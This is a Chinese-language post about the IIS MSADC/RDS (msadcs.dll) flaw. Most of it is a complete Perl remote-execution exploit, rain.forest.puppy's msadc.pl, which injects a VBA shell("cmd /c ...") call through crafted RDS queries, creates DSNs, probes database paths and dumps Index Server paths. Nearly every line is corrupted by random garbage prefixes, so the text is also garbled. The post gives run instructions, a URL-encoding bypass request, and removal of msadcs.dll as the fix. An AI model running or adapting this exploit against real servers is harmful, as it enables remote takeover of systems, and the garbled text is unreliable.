IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
&E|2-) F^&
Rg 涉及程序:
8`Wj 1 ,q Microsoft NT server
^wesuW@= h&Thq52R 描述:
`tZu~
n 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
"[(&$I 6f1%5&si 详细:
*=UxX ]0y 如果你没有时间读详细内容的话,就删除:
h'Tn&2r6 c:\Program Files\Common Files\System\Msadc\msadcs.dll
90JD`Nz 有关的安全问题就没有了。
p0Cp\. P(OgT/7A 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
UUb n7& C? pi8Xg 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
o!.\+[ 关于利用ODBC远程漏洞的描述,请参看:
0ox
8_l /7W N,a http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm OU)~
02|\ (eX9O4 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
,>" rcd http://www.microsoft.com/security/bulletins/MS99-025faq.asp c)H(w ^`b&fbv 这里不再论述。
aq-`Bar Hg)5c!F7 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
(!FUu =%u\x=u| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
RQ?T~ASs 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Nda,G++5( a*4"j2j v 5rG&Z5 #将下面这段保存为txt文件,然后: "perl -x 文件名"
>r Nff!Ow HI}$Z=C #!perl
/8!s
C D #
-QH[gi{%` # MSADC/RDS 'usage' (aka exploit) script
-rE_ pV; #
p^^Ai # by rain.forest.puppy
piIr.] #
yX:A?U # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
C+{du^c$ # beta test and find errors!
Vp3
9`m-W )h(Dt(2Wm use Socket; use Getopt::Std;
">b~k;M? getopts("e:vd:h:XR", \%args);
** \B P,]} KM$5ZbCF: print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
8?qEv,W SB5[PDL_q if (!defined $args{h} && !defined $args{R}) {
?3:OPP`s print qq~
_=0;5OrK1X Usage: msadc.pl -h <host> { -d <delay> -X -v }
n^QOGT.s6` -h <host> = host you want to scan (ip or domain)
X|.M9zIx -d <seconds> = delay between calls, default 1 second
p%304oP6 -X = dump Index Server path table, if available
7?6?`no~JJ -v = verbose
W":is" -e = external dictionary file for step 5
[BS3y`c w, 0tY=h6 Or a -R will resume a command session
Q(lj&!?1k f.Y9gkt3d ~; exit;}
mT57NP lD09(|` $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
&fBLPF% 6 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
.8is!TT if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<YbOO{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Hfer\+RX $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Vv(!Ki} if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
cmDskQ: u>;#.N/ if (!defined $args{R}){ $ret = &has_msadc;
iKB8V<[\T
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
y:!MWZ sr\l z}JW print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Kq/W-VyGh . "cmd /c ";
<i'4EnO $in=<STDIN>; chomp $in;
7BCCQsz< $command="cmd /c " . $in ;
,hK0F3?H> 8?']W\) if (defined $args{R}) {&load; exit;}
5YIiO7@4 K5(?6hr; print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
GY4:9Lub7 &try_btcustmr;
`>RJ*_aKEI GCrh4rxgg print "\nStep 2: Trying to make our own DSN...";
Ygn"7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Uq)|]a&e DLE|ctzj[7 print "\nStep 3: Trying known DSNs...";
k]x64hgm &known_dsn;
>]"5K<-1 y]=v+Q*+ print "\nStep 4: Trying known .mdbs...";
#{(?a.: &known_mdb;
+-,Q>` 9;Ezm<VQ if (defined $args{e}){
/s6':~4 print "\nStep 5: Trying dictionary of DSN names...";
KtHh--j` &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
T4T_32`XR n6WSTh print "Sorry Charley...maybe next time?\n";
uc%75TJ@ exit;
+8[h& #e&j]Q$Eh ##############################################################################
[7]p\'j c[< lr sub sendraw { # ripped and modded from whisker
=KNg "| sleep($delay); # it's a DoS on the server! At least on mine...
D>c%5h my ($pstr)=@_;
<(d^2-0 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
U*/ die("Socket problems\n");
=b,$jCv<,5 if(connect(S,pack "SnA4x8",2,80,$target)){
,e>C)wq; select(S); $|=1;
8,Yc1 print $pstr; my @in=<S>;
e }/c`7M select(STDOUT); close(S);
*ok89ad return @in;
i[d-n/) } else { die("Can't connect...\n"); }}
s;}';# u 8U>R=M ##############################################################################
\ ;Hj,z\ xm~ff+(&@S sub make_header { # make the HTTP request
S=[K/Kf- my $msadc=<<EOT
NNutpA}s POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
(0D0G-r: User-Agent: ACTIVEDATA
Sijwh1j*V Host: $ip
..<(HH2 Content-Length: $clen
-sO EL{ Connection: Keep-Alive
UN|"D]>/ nUmA ADCClientVersion:01.06
p(nC9NGB Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
~u%9@}Oo> }K"=sE --!ADM!ROX!YOUR!WORLD!
.XLe\y Content-Type: application/x-varg
XPUH\I= Content-Length: $reqlen
PKdM-R'Z I"sKlMD EOT
; {I{X}b ; $msadc=~s/\n/\r\n/g;
tDEpR return $msadc;}
3dadeu^{A a+\Gz ##############################################################################
FjiLc=RXXz i-sE\m sub make_req { # make the RDS request
34JkB+#a my ($switch, $p1, $p2)=@_;
|V!A!tB my $req=""; my $t1, $t2, $query, $dsn;
8Mws?]\/q }qV4]*+{ if ($switch==1){ # this is the btcustmr.mdb query
]o,) #/' $ $query="Select * from Customers where City=" . make_shell();
(jY.S|% $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
e
yTYg $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
U0jq.]P IA8kq =W elsif ($switch==2){ # this is general make table query
v~ uwQ&AH $query="create table AZZ (B int, C varchar(10))";
1%EY!14G+ $dsn="$p1";}
&lI.N~Ao dP)8T elsif ($switch==3){ # this is general exploit table query
8l!S<RA $query="select * from AZZ where C=" . make_shell();
4Iy\
$dsn="$p1";}
6mRvuJ% V7rcnk# elsif ($switch==4){ # attempt to hork file info from index server
'^Sa|WXq $query="select path from scope()";
2vj)3%:7#E $dsn="Provider=MSIDXS;";}
#B+2qD>E Ih,~h[ elsif ($switch==5){ # bad query
) 3YE$, $query="select";
X/gh>MJJ< $dsn="$p1";}
lZn <v'y -pqShDar| $t1= make_unicode($query);
OkzfQ
hC} $t2= make_unicode($dsn);
;Kkn7&'F $req = "\x02\x00\x03\x00";
DeXnE$XH $req.= "\x08\x00" . pack ("S1", length($t1));
HCHC~FNd $req.= "\x00\x00" . $t1 ;
FpW{=4yk $req.= "\x08\x00" . pack ("S1", length($t2));
Atfon&^
$req.= "\x00\x00" . $t2 ;
`]tXQqD $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
lfj>]om$ return $req;}
\n<N>j@3 3j.f3~" ##############################################################################
.`)ICX ZB ~D_S sub make_shell { # this makes the shell() statement
@9vz%1B<l return "'|shell(\"$command\")|'";}
M6 0(yTm 7~ |o_T ##############################################################################
aNXu"US+Sp PkG+`N sub make_unicode { # quick little function to convert to unicode
2]>s@?[ my ($in)=@_; my $out;
n$b/@hp$z for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
kTC6fNj[ return $out;}
2!" N9Adt PJ
#uYM ##############################################################################
VnIJ$5Y {SROg;vA sub rdo_success { # checks for RDO return success (this is kludge)
;TaT=% my (@in) = @_; my $base=content_start(@in);
1Z`<HW" if($in[$base]=~/multipart\/mixed/){
oPWvZI(\& return 1 if( $in[$base+10]=~/^\x09\x00/ );}
=cRJtn return 0;}
!T
@|9PCp #Va@4<4r ##############################################################################
4H1s"mP< elP`5BuN sub make_dsn { # this makes a DSN for us
EW]gG@w]5r my @drives=("c","d","e","f");
KgKV(q= print "\nMaking DSN: ";
Xb;CY9& foreach $drive (@drives) {
/- kMzL print "$drive: ";
NrL%]dl3/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
2@^8{ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
yl3iU:+V . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
pK$^@~DE $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Lb/a_8<E? return 0 if $2 eq "404"; # not found/doesn't exist
`9$?g|rB if($2 eq "200") {
|dXS+R1 foreach $line (@results) {
,L_p"A return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
IlS{>6 } return 0;}
%A64 Y<K P^1rNB ##############################################################################
^. Pn)J >#>YoA@S sub verify_exists {
l}<s~ip my ($page)=@_;
;GE0iSC my @results=sendraw("GET $page HTTP/1.0\n\n");
LXw&d]P return $results[0];}
uYO?Rb&} L!e@T' ##############################################################################
Z/ThYbk JDMaLo sub try_btcustmr {
v_G4:tY my @drives=("c","d","e","f");
*4.f*3* my @dirs=("winnt","winnt35","winnt351","win","windows");
8K1+ttjm l kl#AH foreach $dir (@dirs) {
}*0%wP print "$dir -> "; # fun status so you can see progress
b!UT<:o foreach $drive (@drives) {
DpTQP u9 print "$drive: "; # ditto
4NbC V)Dm $reqlen=length( make_req(1,$drive,$dir) ) - 28;
oM< &4F $reqlenlen=length( "$reqlen" );
-4HI9Czts $clen= 206 + $reqlenlen + $reqlen;
BKJW\gS2 T>LtN my @results=sendraw(make_header() . make_req(1,$drive,$dir));
g=Qj9Z
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
(+Er else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
r5F#q L-=^GNh ##############################################################################
az19-QIcg 47t^{WrT sub odbc_error {
LfK <%(: my (@in)=@_; my $base;
eJ?SLMLY my $base = content_start(@in);
>Axe7<l if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
f#5mX&j $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
67f#Z&r2k $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
x#pTB. $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Q OdvzVy< return $in[$base+4].$in[$base+5].$in[$base+6];}
lYq
R6^ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
!q$IB?8 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
^yBx.GrQc $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Ba@UX(t 'JRkS'ay ##############################################################################
bD49$N?> -<CBxyZa& sub verbose {
4J_18.JHP my ($in)=@_;
R#Ss_y return if !$verbose;
;.m"y- print STDOUT "\n$in\n";}
|ss_< vbh\uv& ##############################################################################
<tFq6| 4UG7{[!+ sub save {
IWKQU/l! my ($p1, $p2, $p3, $p4)=@_;
!_zmm$bR
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
+}*]9nG print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
, gz:2UY# close OUT;}
NlWIb2, lgre@M]mg ##############################################################################
<!4'?K -N E[e '' sub load {
l$.C40v my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
{fk'g(E8([ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
r=s2wjk @p=<IN>; close(IN);
<BT}Tv9 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
p6I@o7f $target= inet_aton($ip) || die("inet_aton problems");
8+
Hho@= print "Resuming to $ip ...";
"EHwv2Hm> $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
8'/vW ~f if($p[1]==1) {
oGXT,38* $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
dt;R $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
q[**i[+% my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
}0c'hWMZ} if (rdo_success(@results)){print "Success!\n";}
]6FpUF#<D else { print "failed\n"; verbose(odbc_error(@results));}}
~?S/0]?c elsif ($p[1]==3){
QnVYZUgJeV if(run_query("$p[3]")){
>a@-OJ.yOk print "Success!\n";} else { print "failed\n"; }}
D0tI elsif ($p[1]==4){
*7DQ#bD if(run_query($drvst . "$p[3]")){
IQY\L@" print "Success!\n"; } else { print "failed\n"; }}
62a{Ggs{ exit;}
-bcm"(<T'
g$9Yfu ##############################################################################
0zdH 6& $)z(4Ev sub create_table {
_q+H>1.&9 my ($in)=@_;
n$B=Vt, $reqlen=length( make_req(2,$in,"") ) - 28;
Lk=f^qJ
] $reqlenlen=length( "$reqlen" );
')+'m1N $clen= 206 + $reqlenlen + $reqlen;
lP\7=9rh^x my @results=sendraw(make_header() . make_req(2,$in,""));
jt=mK,% return 1 if rdo_success(@results);
op/|&H' my $temp= odbc_error(@results); verbose($temp);
mp>,TOi~s7 return 1 if $temp=~/Table 'AZZ' already exists/;
7WKb|
/#; return 0;}
?0Z?Z3)%w4 fg^$F9@ ##############################################################################
/vBOf;L g]N!_Ib/! sub known_dsn {
$5s?m\!jZz # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
^4h/6^b0c my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
k7'B5zVd "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
3g^_Fq' "banner", "banners", "ads", "ADCDemo", "ADCTest");
`o)rAD^e }&bO;o&> foreach $dSn (@dsns) {
_cQTQ print ".";
{D 9m//x next if (!is_access("DSN=$dSn"));
Myg
&H(~ if(create_table("DSN=$dSn")){
TW7jp print "$dSn successful\n";
`XE8[XY if(run_query("DSN=$dSn")){
Z9E[RD print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.|G([O^H print "Something's borked. Use verbose next time\n";}}} print "\n";}
4'RyD<K\ XFUlV;ek ##############################################################################
/YKg.DA| iqRk\yq< sub is_access {
B>AmH%f/ my ($in)=@_;
[z'PdYQR/{ $reqlen=length( make_req(5,$in,"") ) - 28;
Cd?aC $reqlenlen=length( "$reqlen" );
\L($;8`\ $clen= 206 + $reqlenlen + $reqlen;
fb0i6RC~& my @results=sendraw(make_header() . make_req(5,$in,""));
N \1
EWi my $temp= odbc_error(@results);
f!|7j}3 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
BGh1hyJ8d return 0;}
[AstD9 ^_0zO$z, ##############################################################################
Oe:+%p [K1RP. sub run_query {
outAZy=R; my ($in)=@_;
P-[6'mw` $reqlen=length( make_req(3,$in,"") ) - 28;
V+G.TI
P $reqlenlen=length( "$reqlen" );
__dSEOGoe $clen= 206 + $reqlenlen + $reqlen;
FZf{kWH my @results=sendraw(make_header() . make_req(3,$in,""));
#&u9z5ywM return 1 if rdo_success(@results);
`!V=~"ve my $temp= odbc_error(@results); verbose($temp);
8vpB(VxV+ return 0;}
>c
%*:a k]K][[s` ##############################################################################
2_k2t
? 9ozN$: sub known_mdb {
#X1iig+ my @drives=("c","d","e","f","g");
P_6JweN my @dirs=("winnt","winnt35","winnt351","win","windows");
%xv } my $dir, $drive, $mdb;
y:,Ro@H% my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
`>'%!E9G S<fSoU+RJ # this is sparse, because I don't know of many
StZ GKY[Q my @sysmdbs=( "\\catroot\\icatalog.mdb",
h]WPWa)M "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
X0G6Wp "\\system32\\certmdb.mdb",
b`:n i
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
b{4@~>i Cb:}AQ = my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
dA4DW "\\cfusion\\cfapps\\forums\\forums_.mdb",
nD#QC=} "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
]c/k%]o~ "\\cfusion\\cfapps\\security\\realm_.mdb",
A:Y
([ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
N(ov.l; "\\cfusion\\database\\cfexamples.mdb",
f0!i<9< "\\cfusion\\database\\cfsnippets.mdb",
&=ZVU\o: "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
X0\O3l*j "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
uUmkk "\\cfusion\\brighttiger\\database\\cleam.mdb",
X"hdCY% "\\cfusion\\database\\smpolicy.mdb",
k9Pwf"m|]( "\\cfusion\\database\cypress.mdb",
_`|te|ccF "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
7# !RX3 "\\website\\cgi-win\\dbsample.mdb",
bEvlk\iql "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
4zo^ b0v "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
yzI`&?
P2 ); #these are just
WZh%iuI{C foreach $drive (@drives) {
1 >}x9D foreach $dir (@dirs){
+wPXDN#R foreach $mdb (@sysmdbs) {
,ICn]Pdz@ print ".";
r.z= if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
mc
FSWmq print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Gn?NY}.S if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
&d,!^9 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
2wX4e0cOI4 } else { print "Something's borked. Use verbose next time\n"; }}}}}
2oBT
_o%/J v~.nP}
E^ foreach $drive (@drives) {
Ez)hArxns foreach $mdb (@mdbs) {
}w_r(g?\ print ".";
ojva~mnFf if(create_table($drv . $drive . $dir . $mdb)){
o(L8 -F print "\n" . $drive . $dir . $mdb . " successful\n";
#Ch*a.tI@ if(run_query($drv . $drive . $dir . $mdb)){
xCTPsw]s print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
OL%KAEnD } else { print "Something's borked. Use verbose next time\n"; }}}}
1SK|4Am }
L^E#"f 14DHU ##############################################################################
{VmJVO]S E3vYVuw sub hork_idx {
>.=v*\P print "\nAttempting to dump Index Server tables...\n";
p[^a4E_v print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
GZt L- $reqlen=length( make_req(4,"","") ) - 28;
?:AD&Dn $reqlenlen=length( "$reqlen" );
G^%FP!'D? $clen= 206 + $reqlenlen + $reqlen;
^0tO2$ my @results=sendraw2(make_header() . make_req(4,"",""));
=bHS@h8N< if (rdo_success(@results)){
QWQJSz5 my $max=@results; my $c; my %d;
@{q:179w^ for($c=19; $c<$max; $c++){
I6e[K(7NY $results[$c]=~s/\x00//g;
ks|c'XQb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
(ebC80M $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"xduh3/~= $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
VV+gPC $d{"$1$2"}="";}
xg;I::hE7X foreach $c (keys %d){ print "$c\n"; }
7.y35y } else {print "Index server doesn't seem to be installed.\n"; }}
dTrz7ayH P _x(`H ##############################################################################
1=L5=uz1d: E (.~[-K4 sub dsn_dict {
Liv.i;-qE open(IN, "<$args{e}") || die("Can't open external dictionary\n");
uc>]-4
while(<IN>){
k -!Jww $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
(Go1@;5I next if (!is_access("DSN=$dSn"));
>[0t@Tu,D if(create_table("DSN=$dSn")){
fNk0&M print "$dSn successful\n";
OB4nE}NO if(run_query("DSN=$dSn")){
&WKAg:^k) print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
snicVzvA print "Something's borked. Use verbose next time\n";}}}
NCa3")k print "\n"; close(IN);}
Zg&o][T 92(P~Sdv ##############################################################################
=/e$Rp i4}+n^oSYo sub sendraw2 { # ripped and modded from whisker
tjg?zlj sleep($delay); # it's a DoS on the server! At least on mine...
br,xw c my ($pstr)=@_;
6an= C_Mb` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Y(&rlL(sPK die("Socket problems\n");
rrP_7D if(connect(S,pack "SnA4x8",2,80,$target)){
'm^]X3y* print "Connected. Getting data";
Y[0mTL4IO open(OUT,">raw.out"); my @in;
ER,!`C] select(S); $|=1; print $pstr;
(Xl+Zi>\{ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
=p2: qSV close(OUT); select(STDOUT); close(S); return @in;
RxE.t[ } else { die("Can't connect...\n"); }}
7g>|e ]@!3os,CNF ##############################################################################
x~QZVL=: &3$FkU^F6 sub content_start { # this will take in the server headers
sSy!mtS my (@in)=@_; my $c;
~e_ for ($c=1;$c<500;$c++) {
]&OI.p if($in[$c] =~/^\x0d\x0a/){
Vg~10Q if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
= N^Ec[u(l else { return $c+1; }}}
f^)iv
]p return -1;} # it should never get here actually
y!c<P,Lt3f 4\E1M[ 6
##############################################################################
w>e+UW25Y 'Q"Mu sub funky {
H8kB.D[7Q my (@in)=@_; my $error=odbc_error(@in);
DQ@M?~1hp if($error=~/ADO could not find the specified provider/){
Vn65:" O print "\nServer returned an ADO miscofiguration message\nAborting.\n";
XS$#\UQ exit;}
lnGg1/ if($error=~/A Handler is required/){
7+;.Q
print "\nServer has custom handler filters (they most likely are patched)\n";
lNz1|nS(Kd exit;}
5<M$ XT if($error=~/specified Handler has denied Access/){
D?FmlDTr[ print "\nServer has custom handler filters (they most likely are patched)\n";
@KRia{
exit;}}
@RZbo@{~ vdh[%T,& ##############################################################################
ibn\&}1 vVZ+u4y sub has_msadc {
EE*|# my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
FX!Qd&kl1 my $base=content_start(@results);
Jn%Etz- return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
?Y 5Vje[^ return 0;}
p|em_!H"SH TK0WfWch ########################
a'g&1N0Rc 2FY]o~@ $pIo`F _W 解决方案:
_S,UpR~2W 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
dA^{}zZu 2、移除web 目录: /msadc